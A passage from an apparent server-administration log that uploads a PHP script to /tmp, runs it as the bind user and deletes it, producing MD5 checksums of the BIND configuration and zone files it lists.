MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:21:59: Establishing a connection
2026-04-25 18:21:59: 

PUT: /tmp/pkp365569

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:22:00: 

runuser -l bind -s /bin/bash -c '/tmp/pkp365569; rm /tmp/pkp365569'

2026-04-25 18:22:00: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:32:54: Establishing a connection
2026-04-25 18:32:54: 

PUT: /tmp/pkp978162

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
